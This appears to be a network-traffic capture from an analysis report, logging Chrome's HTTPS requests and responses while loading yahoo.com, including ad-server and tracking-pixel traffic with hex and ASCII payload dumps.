2024-01-10 23:27:15 UTC	817	IN	HTTP/1.1 200 OK x-amz-id-2: GiObjY8DYliVY2H5QS+ji1hXEqrBnVPDQaarwAYr54robAjy2Xpurt0vZ1ou90UQa4NT4V3OsbE= x-amz-request-id: 9KXT71H21YJWNBA7 Date: Fri, 05 Jan 2024 02:40:50 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "93dc53d369dca8f09877c3ecc9a41de3" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1695 Referrer-Policy: no-referrer-when-downgrade Age: 506786 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 2d 33 36 2e 33 39 36 25 22 20 79 31 3d 22 33 32 2e 38 35 34 25 22 20 78 32 3d 22 33 33 2e 33 39 36 25 22 20 79 32 3d 22 31 33 33 2e 33 31 33 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 46 35 42 32 22 20 6f 66 66 73 65 74 3d 22 2e 30 31 33 25 22 2f 3e 0a 20 20 20 20 20 20 3c Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a"> <stop stop-color="#FFF5B2" offset=".013%"/> <
2024-01-10 23:27:15 UTC	395	IN	Data Raw: 36 29 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 2e 37 36 37 20 31 30 2e 34 37 36 4c 2e 38 36 36 20 32 33 2e 35 33 43 33 2e 31 39 39 20 33 30 2e 37 36 36 20 39 2e 39 38 38 20 33 36 20 31 38 20 33 36 63 39 2e 39 34 31 20 30 20 31 38 2d 38 2e 30 35 39 20 31 38 2d 31 38 6c 2d 31 31 2e 32 33 33 2d 37 2e 35 32 34 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 62 29 22 20 6f 70 61 63 69 74 79 3d 22 2e 37 37 33 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 36 20 36 29 22 2f 3e 0a 20 20 20 20 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 36 20 36 29 22 3e 0a 20 20 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 64 22 2f 3e 0a 20 20 20 20 20 Data Ascii: 6)"/> <path d="M24.767 10.476L.866 23.53C3.199 30.766 9.988 36 18 36c9.941 0 18-8.059 18-18l-11.233-7.524z" fill="url(#b)" opacity=".773" transform="translate(6 6)"/> <g transform="translate(6 6)"> <use fill="url(#c)" xlink:href="#d"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	49991	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1048	OUT	GET /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=0gast8pipu9uc&m_mode=json&designtype=default HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	576	IN	HTTP/1.1 500 Internal Server Error referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: text/html; charset=utf-8 x-app-version: 1.0.36844 x-applet-version: 1.0.36844 x-applet-id: react-wafer-nativeAd content-length: 17 etag: W/"11-9VbgaIcEenVDneJO0QQdjtlpjgE" date: Wed, 10 Jan 2024 23:27:15 GMT x-envoy-upstream-service-time: 12 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* X-Bypass-Ssl-Transform: 1 Age: 0
2024-01-10 23:27:15 UTC	962	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-01-10 23:27:15 UTC	17	IN	Data Raw: 4d 69 73 73 69 6e 67 20 61 64 73 20 61 72 72 61 79 Data Ascii: Missing ads array

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	49990	54.165.128.106	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	755	OUT	GET /ibs:dpid=30646?dpuuid=y-kyh5EEpE2pGwKo.MGM2QUwjcaNgs4d8co7g-~A&redir=https%3A%2F%2Fups.analytics.yahoo.com%2Fups%2F58782%2Fcms%3Fpartner_id%3DADOBE%26_origin%3Dfalse%26_redirect%3Dfalse%26_hosted_id%3D%24%7BDD_UUID%7D HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	736	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:15 GMT Content-Length: 0 Connection: close X-TID: gRpPxcppRcQ= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Location: https://dpm.demdex.net/demconf.jpg?et:ibs%7cdata:dpid=30646 DCS: dcs-prod-va6-1-v053-0063c7050.edge-va6.demdex.com 0 ms set-cookie: demdex=05885541380958628422864466641451014575; Max-Age=15552000; Expires=Mon, 08 Jul 2024 23:27:15 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	49986	18.160.10.96	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	830	OUT	GET /p?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1704929233964 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	734	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 10 Jan 2024 23:27:15 GMT Location: /p2?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1704929233964 set-cookie: UID=16Db496f6ca59f87c3dafa11704929235; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 bcfffcf7e0fc8cd9cfe4125369a9f036.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P3 X-Amz-Cf-Id: BK_yVySQ5_V8zoJTAfQXG8jABihfuWpxtdxwNo4ej6iEG5FeURuFkA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	49993	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	4261	OUT	GET /gampad/ads?pvsid=3448363400861391&correlator=2735517657550639&eid=31080125%2C31080256%2C95320408%2C31079784%2C31080127%2C31079527%2C31061691%2C31061692%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202401030101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&iu_parts=22888152279%2Cus%2Cyhp%2Cmain%2Cdt%2Cus_yhp_main_dt_top_right%2Cus_yhp_main_dt_as_mid_right_a%2Cus_yhp_main_dt_top_center%2Cus_yhp_main_dt_as_mid_right_b%2Cus_yhp_main_dt_as_mid_right_c&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8%2C%2F0%2F1%2F2%2F3%2F4%2F9&prev_iu_szs=300x250%7C300x600%2C300x250%2C970x250%7C3x1%7C728x90%2C300x250%2C300x600%7C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1%2C1&eri=4&sc=1&cookie_enabled=1&abxe=1&dt=1704929234966&adxs=951%2C-9%2C147%2C-9%2C951&adys=1012%2C-9%2C129%2C-9%2C1787&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1%7C-1%7C0%7C-1%7C2&ucis=1%7C2%7C3%7C4%7C5&oid=2&tos=~~~~&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fwww.yahoo.com%2F&rumc=3448363400861391&rume=1&vis=1&psz=292x2513%7C0x-1%7C1280x110%7C0x-1%7C300x600&msz=292x600%7C0x-1%7C1280x110%7C0x-1%7C300x0&fws=4%2C2%2C2052%2C2%2C4&ohw=1263%2C0%2C1263%2C0%2C300&ga_vid=1527460430.1704929235&ga_sid=1704929235&ga_hid=1141609210&ga_fc=false&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFsyLFtbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF90b3BfcmlnaHQiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYSIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X3RvcF9jZW50ZXIiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYiIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X2FzX21pZF9yaWdodF9jIixbXV1dXV0.&dlt=1704929227924&idt=5442&prev_scp=loc%3Dtop_right%26y_pgid%3D1%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_a%26noads%3D1%26y_pgid%3D2%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dtop_center%26y_pgid%3D3%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_b%26noads%3D1%26y_pgid%3D4%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_c%26y_pgid%3D5%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_plcmt%3D533126705%26y_crid%3D533126705%26y_bdp%3D0.07%26y_sz%3D300x600%26y_act%3DheaderBid%26y_bid%3D-3%26y_fp%3Djhjd%26y_ufr%3D1%26y_dp%3D0%26y_dt%3DO%26y_ref%3D0&cust_params=bucket%3Ddrop_heimdall_homepage_control_bucket%252CMimicProviderListv2-copy%252Cseamless%26cobrand%3Dnone%26colo%3Dbf1%26device%3Ddesktop%26lang%3Den-US%26lu%3D0%26region%3DUS%26site%3Dfp%26ver%3Dmegastrm%26pt%3Dhome%26spaceid%3D2023538075%26yrid%3D0gast8pipu9uc%26bka%3D0%26y_bx%3D1&adks=1481106528%2C3064630007%2C3690920304%2C3845938001%2C1006816889&frm=20 HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Ad-Auction-Fetch: ?1 Origin: https://www.yahoo.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	1074	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com Observe-Browsing-Topics: ?1 Google-LineItem-Id: 6273031801,-2,-2,-2,-1 Google-Creative-Id: 138460758860,-2,-2,-2,-1 Google-MediationGroup-Id: -2,-2,-2,-2 Google-MediationTag-Id: -2 Date: Wed, 10 Jan 2024 23:27:16 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Wed, 10-Jan-2024 23:42:15 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:16 UTC	178	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 2f 32 32 38 38 38 31 35 32 32 37 39 2f 75 73 2f 79 68 70 2f 6d 61 69 6e 2f 64 74 2f 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 3a 5b 22 68 74 6d 6c 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 32 35 30 2c 33 30 30 2c 30 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 31 2c 5b 5b 22 49 44 3d 37 32 61 64 37 35 31 63 30 30 33 39 34 30 64 61 3a 54 3d 31 37 30 34 39 32 39 32 33 35 3a 52 54 3d 31 37 30 34 39 32 39 32 33 35 3a 53 3d 41 4c 4e 49 5f 4d 61 6c 70 6a 77 4b 78 38 35 57 Data Ascii: 8000{"/22888152279/us/yhp/main/dt/us_yhp_main_dt_top_right":["html",0,null,null,0,250,300,0,0,null,null,1,1,[["ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85W
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 76 70 6d 4d 41 38 37 6d 36 47 68 67 76 42 75 2d 6a 41 22 2c 31 37 33 38 36 32 35 32 33 35 2c 22 2f 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 22 2c 31 5d 2c 5b 22 55 49 44 3d 30 30 30 30 30 64 62 36 32 32 65 39 31 35 61 36 3a 54 3d 31 37 30 34 39 32 39 32 33 35 3a 52 54 3d 31 37 30 34 39 32 39 32 33 35 3a 53 3d 41 4c 4e 49 5f 4d 59 5f 74 69 78 44 62 65 31 4f 73 65 63 43 5a 42 39 43 65 75 31 44 79 4b 30 58 30 77 22 2c 31 37 33 38 36 32 35 32 33 35 2c 22 2f 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 22 2c 32 5d 5d 2c 5b 31 33 38 34 36 30 37 35 38 38 36 30 5d 2c 5b 36 32 37 33 30 33 31 38 30 31 5d 2c 5b 35 32 38 36 38 34 33 37 36 32 5d 2c 5b 33 31 38 36 35 39 38 39 32 36 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 Data Ascii: vpmMA87m6GhgvBu-jA",1738625235,"/","yahoo.com",1],["UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w",1738625235,"/","yahoo.com",2]],[138460758860],[6273031801],[5286843762],[3186598926],null,null,null,null,null,null,nu
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 22 22 7d 72 65 74 75 72 6e 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 62 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 71 28 29 7b 72 65 74 75 72 6e 20 64 3f 21 21 6c 26 26 30 3c 6c 2e 62 72 61 6e 64 73 2e 6c 65 6e 67 74 68 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 72 65 74 75 72 6e 20 71 28 29 3f 6e 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 70 28 22 43 68 72 6f 6d 65 22 29 7c 7c 70 28 22 43 72 69 4f 53 22 29 29 26 26 21 28 71 28 29 3f 30 3a 70 28 22 45 64 67 65 22 29 29 7c 7c 70 28 22 53 69 6c 6b 22 29 7d 3b 21 70 28 22 41 6e 64 72 6f 69 64 22 29 7c 7c 72 28 29 3b 72 28 29 3b 21 70 28 22 53 61 66 61 72 69 22 29 7c 7c 72 28 29 7c 7c 28 71 28 29 3f 30 3a 70 28 22 43 6f 61 73 74 22 29 29 7c 7c 28 71 28 29 3f 30 3a 70 28 22 4f 70 65 72 61 22 29 29 7c 7c 28 71 Data Ascii: ""}return-1!=a.indexOf(b)};function q(){return d?!!l&&0<l.brands.length:!1}function r(){return q()?n("Chromium"):(p("Chrome")\|\|p("CriOS"))&&!(q()?0:p("Edge"))\|\|p("Silk")};!p("Android")\|\|r();r();!p("Safari")\|\|r()\|\|(q()?0:p("Coast"))\|\|(q()?0:p("Opera"))\|\|(q
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 74 61 2d 6a 63 2d 76 65 72 73 69 6f 6e 3d 22 72 32 30 32 34 30 31 30 39 22 20 64 61 74 61 2d 6a 63 2d 66 6c 61 67 73 3d 22 5b 26 71 75 6f 74 3b 78 25 32 37 38 34 34 36 26 23 33 39 3b 39 65 66 6f 74 6d 28 26 61 6d 70 3b 32 30 30 36 37 3b 26 67 74 3b 38 26 61 6d 70 3b 26 67 74 3b 60 64 6f 70 62 2f 25 26 6c 74 3b 31 37 33 32 32 36 31 21 3d 7c 76 71 63 29 21 37 32 30 31 30 36 31 3f 26 23 33 39 3b 39 65 66 6f 74 6d 28 26 61 6d 70 3b 32 30 37 32 33 3b 26 67 74 3b 3a 26 61 6d 70 3b 26 67 74 3b 60 64 6f 70 62 7e 26 71 75 6f 74 3b 5d 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 2f 2a 20 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 53 50 44 58 2d 4c 69 63 Data Ascii: ta-jc-version="r20240109" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|vqc)!7201061?'9efotm(&20723;>:&>`dopb~"]">(function(){'use strict';/* Copyright The Closure Library Authors. SPDX-Lic
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 61 72 20 61 3d 5b 5d 3b 61 5b 48 5d 7c 3d 31 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 49 28 61 29 7b 61 3d 61 3e 3e 31 34 26 31 30 32 33 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 61 3f 35 33 36 38 37 30 39 31 32 3a 61 7d 3b 76 61 72 20 6a 61 3d 7b 7d 2c 6b 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 21 28 21 61 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 61 2e 42 21 3d 3d 6b 61 29 7d 66 75 6e 63 74 69 6f 6e 20 4a 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 61 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 61 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 4f 62 6a 65 63 74 7d 6c 65 74 20 4c 2c 6f 61 3d Data Ascii: ar a=[];a[H]\|=1;return a}function I(a){a=a>>14&1023;return 0===a?536870912:a};var ja={},ka={};function na(a){return!(!a\|\|"object"!==typeof a\|\|a.B!==ka)}function J(a){return null!==a&&"object"===typeof a&&!Array.isArray(a)&&a.constructor===Object}let L,oa=
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 3a 79 61 28 61 2c 62 2c 63 2c 76 6f 69 64 20 30 21 3d 3d 64 2c 66 2c 65 29 3b 65 6c 73 65 20 69 66 28 4a 28 61 29 29 7b 63 6f 6e 73 74 20 67 3d 7b 7d 3b 66 6f 72 28 6c 65 74 20 6d 20 69 6e 20 61 29 67 5b 6d 5d 3d 78 61 28 61 5b 6d 5d 2c 62 2c 63 2c 64 2c 66 2c 65 29 3b 61 3d 67 7d 65 6c 73 65 20 61 3d 62 28 61 2c 64 29 3b 72 65 74 75 72 6e 20 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 79 61 28 61 2c 62 2c 63 2c 64 2c 66 2c 65 29 7b 63 6f 6e 73 74 20 67 3d 64 7c 7c 63 3f 61 5b 48 5d 7c 30 3a 30 3b 64 3d 64 3f 21 21 28 67 26 33 32 29 3a 76 6f 69 64 20 30 3b 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 3b 66 6f 72 28 6c 65 74 20 6d 3d 30 3b 6d 3c 61 2e 6c 65 6e 67 74 68 3b 6d 2b 2b 29 61 5b 6d 5d 3d 78 61 28 61 5b 6d Data Ascii: :ya(a,b,c,void 0!==d,f,e);else if(J(a)){const g={};for(let m in a)g[m]=xa(a[m],b,c,d,f,e);a=g}else a=b(a,d);return a}}function ya(a,b,c,d,f,e){const g=d\|\|c?a[H]\|0:0;d=d?!!(g&32):void 0;a=Array.prototype.slice.call(a);for(let m=0;m<a.length;m++)a[m]=xa(a[m
